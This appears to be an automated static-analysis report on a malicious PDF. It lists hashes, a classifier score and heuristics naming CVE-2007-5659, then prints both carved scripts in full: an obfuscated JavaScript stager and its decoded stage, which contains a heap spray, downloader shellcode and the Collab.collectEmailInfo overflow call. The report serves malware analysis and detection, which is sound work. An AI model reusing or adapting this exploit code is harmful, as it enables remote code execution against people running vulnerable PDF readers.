Malicious PDF — malware analysis report

Static analysis result for SHA-256 413e9d0c9c5be735…

MALICIOUS

PDF

19.9 KB Created: 2012-11-13 12:42:59 +03:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-08
MD5: 34b1e2b54e15147c35ee94e3e578e16d SHA-1: d3aaa24ba5c59301ba7b878cd641281791da7cb8 SHA-256: 413e9d0c9c5be7354b0c4fb180ae4862e49d06bfd22cc0506cadf563bfeb591f
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, indicating an attempt to execute arbitrary code. The presence of JavaScript actions and streams strongly suggests the document is designed to exploit vulnerabilities or deliver a payload. The specific JavaScript file 'javascript_obj0106_000.js' is the primary indicator of malicious activity.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9977

Heuristics 5

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x4BF2 1427 bytes
SHA-256: 0e5e5d6d529e0ba9e3cc1862a63dd2459c2a675a5f7d5e650670f78e29c1ae19
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 38 identifiers look randomly generated (e.g. 'kjghftefa2oiuwgf78awtfe6789qt34789tfg789') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var ergrewgregerg = "f"+"g"+"hijk";
var xcvbergger34gr = ':AB'+'CDEFG';
var bxcvn45tygsre = "UVWXYZ{}";
var rve34f3ewsg = "()[]^abc"+"de";
var ouypr5ujhrds = 'pqrs'+'tuvwxyz_';
var yuyti6kyui567y7r = '456'+'78';
var ndgsb34egvw4e = '"=<'+'>&\\';
function xzcbcvb53gerg(xcbcvbn54tygre){
var xbcv3gferg="";
var cxvbdg54gr4e = 39;
for (var i = 0;i<xcbcvbn54tygre.length-(15-14);i++)
{var gretg345ge = xcbcvbn54tygre[i];
var ghuidysgfoits34b=vfbef34few.indexOf(gretg345ge)-cxvbdg54gr4e;
var cvxn53tgr4eg= ghuidysgfoits34b+vfbef34few.length;
if (ghuidysgfoits34b<(10-10)){ghuidysgfoits34b=cvxn53tgr4eg}
xbcv3gferg += vfbef34few.charAt(ghuidysgfoits34b)}
return xbcv3gferg;}
var cvnbv54ywefsw = '9/!%+-*'+'.,;';
var saafrgrt54gred = ergrewgregerg+"lm"+"no"+ouypr5ujhrds+'0123'+yuyti6kyui567y7r+cvnbv54ywefsw+ndgsb34egvw4e;
var kjiuotynj4htre = "QRST"+bxcvn45tygsre+' '+rve34f3ewsg+saafrgrt54gred;
var mkiuoyj56rhr = xcvbergger34gr +'HIJKLMNOP';
var bn45tygder = mkiuoyj56rhr+kjiuotynj4htre;
var vfbef34few =bn45tygder;
var dsaasdfg54gred=getField("WSWSWS");
var mnbmt56hdretg=dsaasdfg54gred.value;
var poiuytrfj5r6hr = xzcbcvb53gerg(mnbmt56hdretg);
var tgbtgnyhunjy = "hauaiyh9iryh98wyf98awyf89sdayfp89aewyf89wey9wev"+"alrgwrgqr3ewgergvaebgegaehergg";
var kjghftefa2oiuwgf78awtfe6789qt34789tfg789wrtf789ewtfw789qe6f789 = tgbtgnyhunjy.substr(45,4);
app[kjghftefa2oiuwgf78awtfe6789qt34789tfg789wrtf789ewtfw789qe6f789](poiuytrfj5r6hr);
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 39) at offset 0x4E1 2058 bytes
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \

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